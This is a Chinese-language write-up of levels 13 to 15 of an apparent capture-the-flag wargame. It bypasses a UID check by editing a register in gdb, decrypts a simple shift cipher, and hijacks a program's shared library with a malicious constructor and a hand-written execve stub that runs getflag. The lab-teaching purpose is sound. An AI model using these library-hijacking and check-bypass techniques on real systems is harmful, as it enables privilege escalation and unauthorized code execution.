我们成功执行了getflag程序,通过本关。
level13——简单的调试我们在这一关需要破解下面的程序。
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <string.h> #define FAKEUID 1000 int main(int argc, char **argv, char **envp) { int c; char token[256]; if(getuid() != FAKEUID) { printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID); printf("The system administrators will be notified of this violation\n"); exit(EXIT_FAILURE); } // snip, sorry :) printf("your token is %s\n", token); }也就是说如果UID不是1000的话,我们得不到token的值。
现在,我们直接使用gdb调试这个程序(当然你也可以直接用IDA静态反汇编)
找到getuid函数的位置以后,在下一条指令的地方设置断点。然后运行。
函数的返回值在%eax寄存器中,我们发现这个uid的值是1014。
我们直接设置%eax寄存器的值为1000即可。
我们看到了token的值为b705702b-76a8-42b0-8844-3adabbe5ac58
用它登录flag13账号,执行getflag程序通过此关。
level14——破解加密程序在这关,token文件是被flag14程序加密过的,我们需要解密token。
我们看看这个程序是怎么加密的。
显然,这个加密算法非常简单,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推。
我们直接编写解密程序即可。
//dec.c #include <stdio.h> #include <string.h> int main() { char buf[1000]; scanf("%s", buf); int i; for (i = 0; i < strlen(buf); i++) { buf[i] -= i; } puts(buf); return 0; }我们成功得到flag,然后用它登录flag14账号执行getflag即可。
level15——linx下共享库劫持官网直接给出提示,用strace工具追踪so使用情况。
提示没有找到libc.so.6,既然没有,我们就自己写一个让它找到。
建立目录/var/tmp/flag15,并编写如下的代码
#include <stdio.h> void __attribute__((constructor)) init() { system("/bin/getflag"); }提示symbol __cxa_finalize,我再定义一个__cxa_finalize函数。
#include <stdio.h> void __cxa_finalize(void) { return; } void __attribute__((constructor)) init() { system(); }我们还要用汇编语言自己实现一个system函数。
.section .text .globl system system: mov $getflag, %ebx xor %edx, %edx # 异或清空 edx ,作为空参数 push %edx push %ebx mov %esp, %ecx mov $11, %eax # 调用 execve 中断 int $0x80 .section .data getflag: .ascii "/bin/getflag\0"最后,我们成功劫持了共享库的调用。